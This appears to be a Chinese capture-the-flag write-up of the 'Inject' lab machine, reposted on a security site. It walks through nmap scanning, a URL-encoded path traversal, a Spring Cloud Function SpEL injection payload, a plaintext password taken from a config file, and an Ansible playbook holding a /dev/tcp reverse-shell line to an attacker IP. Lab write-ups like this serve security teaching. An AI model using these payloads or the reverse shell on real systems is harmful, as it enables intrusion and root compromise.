靶机——inject

admin 2023年3月21日02:35:40评论7 views字数 2440阅读8分8秒阅读模式

nmap搜集

└─# nmap -sCV --min-rate=1000 -Pn 10.10.11.204Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 08:29 CSTNmap scan report for 10.10.11.204Host is up (0.35s latency).Not shown: 998 closed tcp ports (reset)PORT     STATE SERVICE     VERSION22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)8080/tcp open  nagios-nsca Nagios NSCA|_http-title: HomeService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 28.55 seconds

在右上角发现了upload功能,上传一个图片后,发现了图片的加载方式是

http://10.10.11.204:8080/show_image?img=1j.jpg

放到burp尝试目录穿越,使用../总是500错误,进行urlencode编码一下,读取到了/etc/passwd

靶机——inject

发现了可以登录的账户,phil 、 frank。

Spring Cloud Function SpEL表达式注入

读取pom.xml后发现,spring-cloud-function-web的版本是存在rce漏洞的。

靶机——inject

参考文章后知道了该漏洞利用方式。发送payload,回显成功。

参考链接

https://github.com/dinosn/CVE-2022-22963

https://www.akamai.com/zh/blog/security/spring-cloud-function

https://cloud.tencent.com/developer/article/2200029

https://github.com/sv3nbeast/Spring-cloud-function-SpEL-RCE-1

burp发包检测漏洞是否存在,payload

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl 10.10.16.3")

靶机——inject

poc验证成功。使用这个脚本,反弹shell

https://github.com/sv3nbeast/Spring-cloud-function-SpEL-RCE-1

靶机——inject

提权

当前的用户是frank。在/home/frank/.m2/setting.xml 中发现了phil的密码,切换用户登录

DocPhillovestoInject123
切换phil用户frank@inject:~$ su philsu philPassword: DocPhillovestoInject123
phil@inject:/home/frank$ whoamiwhoamiphil

查找特权文件,没什么发现

find / -user root -perm -4000 -print 2> /dev/null/usr/bin/su/usr/bin/fusermount/usr/bin/chfn/usr/bin/passwd/usr/bin/gpasswd/usr/bin/chsh/usr/bin/umount/usr/bin/sudo/usr/bin/newgrp/usr/bin/mount/usr/lib/openssh/ssh-keysign/usr/lib/eject/dmcrypt-get-device/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper

运行一下linpeas脚本,发现了一些特殊文件。应该是自动任务的文件

靶机——inject

phil@inject:/opt/automation/tasks$ cat play*cat play*- hosts: localhost  tasks:  - name: Checking webapp service    ansible.builtin.systemd:      name: webapp      enabled: yes      state: started

经搜索得知这是 ansible playbook,一种自动化任务,所以自行编写一个反弹 shell 的 playbook 并执行它:

---- hosts: localhost  become: yes  become_user: root  become_method: su  tasks:  - name: getroot    shell: bash -c 'exec bash -i &>/dev/tcp/10.10.16.3/4444 <&1'

参数解释 become: yes #是否允许身份切换 become_method: su #切换用户身份的方式,有sudo、su、pbrun等方式,默认为sudo become_user: root #切换指定的用户

phil 用户执行命令ansible-playbook 1.yml可以直接拿到 root 的 shell。

靶机——inject

靶机——inject

 

原文始发于微信公众号(靶机狂魔):靶机——inject

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月21日02:35:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机——injecthttps://cn-sec.com/archives/1618676.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息